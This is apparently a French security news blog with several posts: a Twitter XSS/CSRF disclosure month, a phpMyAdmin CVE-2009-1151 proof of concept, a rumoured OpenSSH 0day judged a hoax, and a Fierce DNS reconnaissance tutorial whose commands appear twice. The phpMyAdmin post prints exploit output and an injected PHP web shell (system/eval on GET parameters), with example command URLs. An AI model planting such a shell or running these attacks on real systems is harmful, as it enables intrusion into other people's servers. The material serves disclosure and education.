July Twitter Month Bug

Après le mois des bugs Apple, le mois des bugs PHP, le mois des bugs des navigateurs Internet, le mois des bugs du kernel Linux, voici le mois des bugs dans Twitter happy.gif

Un chercheur en sécurité informatique, Aviv Raff, va durant tous le mois de Juillet dévoiler des vulnérabilités du type XSS (Cross-Site Scripting) et CSRF (Cross-Site Scripting Forgery) des différentes services que délivre l’écosystème Twitter sur le site web http://twitpwn.com/.

Ces vulnérabilités pourraient, suivant les dires du chercheur en sécurité informatique Aviv Raff, permettre de construire éventuellement un vers qui utiliserait la plate forme Twitter pour se propager. Le chercheur donnera 24 heures aux développeurs de Twitter pour corriger la vulnérabilité qui sera dévoilée le lendemain.

Ces chercheurs en sécurité informatique veulent sensibiliser les acteurs du Web 2.0 à la sécurité informatique afin que les utilisateurs finaux prennent conscience du danger que représente des sites web comme Twitter, Facebook et autres.

Il est clair que pour Twitter le mois de Juillet sera un mois chaud. Bon faut pas leur dire, mais ils sont déjà compromis jusqu’à l’os et ne le savent même pas ….

POC PHPMyAdminRCE.sh CVE-2009-1151

Adrian Pastor membre de Gnucitizen a rendu public un POC (Proof Of Concept) pour la vulnérabilité CVE-2009-1151 de phpMyAdmin.

Cette vulnérabilité, identifiée sous l’ID PMASA-2009-3 chez le fournisseur phpMyAdmin, a été dévoilée le 24 Mars de cette année. Un internaute malveillant pourrait, de façon distante, par le biais de cette vulnérabilité compromettre un système. De l’injection de code dans le script “scripts/setup.php” peut permettre la modification du fichier “config.inc.php”, afin d’y ajouter du code PHP aléatoire.

Cette vulnérabilité affecte toutes les versions de phpMyAdmin antérieure à la version 2.11.9.5 et 3.1.3.1. La mise à jour vers la version 2.11.9.5 ou 3.1.3.1 corrige cette vulnérabilité.

Le POC de Gnucitizen, ne fonctionne que pour les versions 2.11.4, 2.11.7, 2.11.7.1, 2.11.9.3, 2.11.9.4, 3.0.0 et 3.0.1.1 de phpMyAdmin, et si l’installation a été effectuée en utilisant l’interface d’installation de phpMyAdmin “scripts/setup.php”. De plus, afin d’être exploitée, cette vulnérabilité requiert que l’administrateur n’est pas supprimé le répertoire “config/” présent dans phpMyAdmin. Ce répertoire “config/” doit être accessible en écriture par le démon HTTP.

De plus, si le nom de la session “phpMyAdmin”, configurée par défaut, a été changée, le POC ne fonctionnera pas aussi.

Quoi qu’il en reste, ce script bash n’est qu’un POC, et il est certain que des versions plus élaborées et robotisées verront le jour d’ici peu.

Il est aussi à noter que ce POC peut aussi s’appliquer à la vulnérabilité CVE-2009-1285.

Ci-dessous le fichier de configuration type de phpMyAdmin.

[xxxxx@xxxxx config]# cat config.inc.php
<?php
/*
* Generated configuration file
* Generated by: phpMyAdmin 2.11.9.4 setup script by Michal ÄihaÅ <[email protected]>
* Version: ######Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
* Date: Thu, 11 Jun 2009 10:52:48 GMT
*/

/* Servers configuration */
######i = 0;

/* Server localhost (cookie) [1] */
######i++;
######cfg['Servers'][$i]['host'] = 'localhost';
######cfg['Servers'][$i]['extension'] = 'mysql';
######cfg['Servers'][$i]['port'] = '3306';
######cfg['Servers'][$i]['connect_type'] = 'tcp';
######cfg['Servers'][$i]['compress'] = false;
######cfg['Servers'][$i]['auth_type'] = 'cookie';

/* End of servers configuration */

######cfg['blowfish_secret'] = '4a30e1f84afb18.56788245';
?>

Résultat lorsque la tentative d’exploitation est OK.

[xxxxx@xxxxx exploits]# ./phpmyadminrcesh.txt http://www.xxxxx.xxxx/phpMyAdmin-2.11.9.4-english
[+] checking if phpMyAdmin exists on URL provided ...
[+] phpMyAdmin cookie and form token received successfully. Good!
[+] attempting to inject phpinfo() ...
[+] success! phpinfo() injected successfully! output saved on /tmp/phpmyadminrcesh.txt.14594.phpinfo.flag.html
[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:
http://www.xxxxx.xxxx/phpMyAdmin-2.11.9.4-english/config/config.inc.php?c=ls+-l+/
http://www.xxxxx.xxxx/phpMyAdmin-2.11.9.4-english/config/config.inc.php?p=phpinfo();
please send any feedback/improvements for this script to unknown.pentester<AT_sign__here>gmail.com

Fichier de configuration config.inc.php modifié après exploitation.

<?php
/*
* Generated configuration file
* Generated by: phpMyAdmin 2.11.9.4 setup script by Michal ÄihaÅ <[email protected]>
* Version: ######Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
* Date: Thu, 11 Jun 2009 10:54:21 GMT
*/

/* Servers configuration */
######i = 0;

/* Server  (config:root) [1] */
######i++;
######cfg['Servers'][$i]['host']='

';
if($_GET['c']){
echo '<pre>';
system($_GET['c']);
echo '</pre>';
}

if($_GET['p']){
echo '<pre>';
eval($_GET['p']);
echo '</pre>';
};

//'] = 'localhost';

######cfg['Servers'][$i]['extension'] = 'mysqli';
######cfg['Servers'][$i]['connect_type'] = 'tcp';
######cfg['Servers'][$i]['compress'] = false;
######cfg['Servers'][$i]['auth_type'] = 'config';
######cfg['Servers'][$i]['user'] = 'root';

/* End of servers configuration */

?>

Rumeur de 0day SSH

Je vous annonçais le 23 Juin une augmentation importantes des scan SSH, et cette activité anormale me laissez sur ma faim et je suspectais un 0Day SSH en cours d’exploitation.

La rumeur de 0Day OpenSSH est confirmé par le ISC SANS et par une source qui a contacté le SANS. Cette source confirme l’existence d’un 0Day, que celui-ci est activement utilisé, et sera rendu public avant les conférences BlackHat et DefCon, qui auront lieu fin Juillet.

Les créateurs du logiciels OpenSSH réagissent sur l’éventuel 0Day, et considère que l’alerte n’a pas de sens.

Le premier log sur Secer remonte une trace éventuelle de l’attaque avec simplement ces données :

anti-sec:~/pwn/xpl# ./0pen0wn -h xx.yy.143.133 -p 22
[+] 0wn0wn – anti-sec group
[+] Target: xx.yy.143.133
[+] SSH Port: 22

Rien de très particulier à par le nom de l’exploit “0pen0wn” et le fait qu’effectivement il viserai les services SSH-2.0-OpenSSH_4.3 (versionning à prendre avec des pincettes).

Un deuxième log plus intéressant, sur SecurityEagis.com et ici , nous donnes un peu plus de détails sur l’exploit qui serait utilisé.

anti-sec:~/pwn/xpl# ./openPWN -h 66.96.220.213 -p 2222 -l=users.txt
[+] openPWN - anti-sec group
[+] Target: 66.96.220.213
[+] SSH Port: 2222
[+] List: users.txt
[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]

L’on peut remarquer qu’un module du type brute force est aussi implémenté dans l’outil. Quel intérêt d’avoir ce type de module dans un 0Day donnant directement accès à la machine ?? La seul relation serait éventuellement l’énumération possible d’utilisateur autorisé à se connecter en ssh …

Le SANS confirme aussi mon étonnement sur l’utilisation d’un module brute force, et il apparaît de plus en plus que cette alerte n’est qu’un Hoax.

Si cela vous intéresse, vous pourrez retrouver ci-dessous les logs des tentatives de brutes force ssh sur zataz :

Updates :

Scan de domaines par Fierce

Fierce est un outil de reconnaissance et de récupération d’informations sur une cible. Cet outil, développé en PERL, scan les différentes informations récupérables sur un nom de domaine, et ceci par le biais de différentes techniques.
L’approche de Fierce est de d’abord récupérer les serveurs de domaine du domaine cible par le biais du serveur de DNS local (celui configuré sur votre poste local). Une fois ces serveurs de DNS récupérés, Fierce les utilises afin de commencer à récupérer les informations relatives au domaine cible. Un transfert de zone sera alors tenté sur chaque serveur de DNS du domaine cible, qui risque d’échouer dans la plupart des cas. Si ce transfert de zone échoue, une attaque du type “brute force” sur les serveurs de DNS du domaine cible sera effectué pour deviner les entrées enregistrées. Cette attaque du type “brute force” est basé sur un dictionnaire de base fournis avec le logiciel. Ce dictionnaire peut bien sûr être alimenté manuellement afin d’y rajouter ses propres entrées. A la différence de DNSEnum les résultats récoltés ne sont pas repris à la demande dans le dictionnaire.

Avant de lancer l’attaque brute force, Fierce va vérifier que le domaine ne possède pas de DNS wildcard. Si un DNS wildcard est trouvé, le nombre de faux positifs sera important, car chaque entrée du dictionnaire sera alors résolue.

Les résultats retournés par l’attaque brute force contiendront le, ou les, FQDN (Full Qualifie Domain Name) trouvés, ainsi que les adresses IP associées.

A partir de ces adresses IP les réseaux associés seront devinés afin de pouvoir, de par la suite, éventuellement effectuer une approche par le biais de nmap.

  • Invoquer l’aide de Fierce

perl fierce.pl -h

  • Lancement de base de Fierce

perl fierce.pl -dns domain.xxx

Attention, dans le cas présent, aucune attaque du type bruteforce ne sera effectuée. Uniquement la récupération des serveurs de noms de domaine et la tentative de transfert de zone seront effectués.
  • Enregistrer les résultats dans un fichier
perl fierce.pl -dns domain.xxx -file results.txt
  • Enregistrer les résultats dans un fichier et ne pas afficher les résultats à l’écran
perl fierce.pl -dns domain.xxx -file results.txt -suppress
  • Spécifier un serveur de DNS particulier pour les lookups DNS
perl fierce.pl -dns domain.xxx -dnsserver xxx.xxx.xxx.xxx
  • Spécifier une liste de serveurs de DNS particuliers pour les lookups DNS
perl fierce.pl -dns domain.xxx -dnsfile dnsservers.txt
Le fichier dnsservers.txt contiendra une liste (un serveur de DNS par ligne) des serveurs de DNS sur lesquels seront effectués les lookups DNS.
  • Utiliser le dictionnaire pour l’attaque brute force DNS
perl fierce.pl -dns domain.xxx -wordlist dns.txt
  • Stopper le scan de Fierce dans le cas ou le transfert de zone ai réussi
perl fierce.pl -dns domain.xxx -wordlist dns.txt -stop

perl fierce.pl -dns domain.xxx

Attention, dans le cas présent, aucune attaque du type bruteforce ne sera effectuée. Uniquement la récupération des serveurs de noms de domaine et la tentative de transfert de zone seront effectués

  • Enregistrer les résultats dans un fichier

perl fierce.pl -dns domain.xxx -file results.txt

  • Enregistrer les résultats dans un fichier et ne pas afficher les résultats à l’écran

perl fierce.pl -dns domain.xxx -file results.txt -suppress

  • Spécifier un serveur de DNS particulier pour les lookups DNS

perl fierce.pl -dns domain.xxx -dnsserver xxx.xxx.xxx.xxx

  • Spécifier une liste de serveurs de DNS particuliers pour les lookups DNS

perl fierce.pl -dns domain.xxx -dnsfile dnsservers.txt

Le fichier dnsservers.txt contiendra une liste (un serveur de DNS par ligne) des serveurs de DNS sur lesquels seront effectués les lookups DNS. • Utiliser le dictionnaire pour l’attaque brute force DNS

perl fierce.pl -dns domain.xxx -wordlist dns.txt

  • Stopper le scan de Fierce dans le cas ou le transfert de zone ai réussi

perl fierce.pl -dns domain.xxx -wordlist dns.txt -stop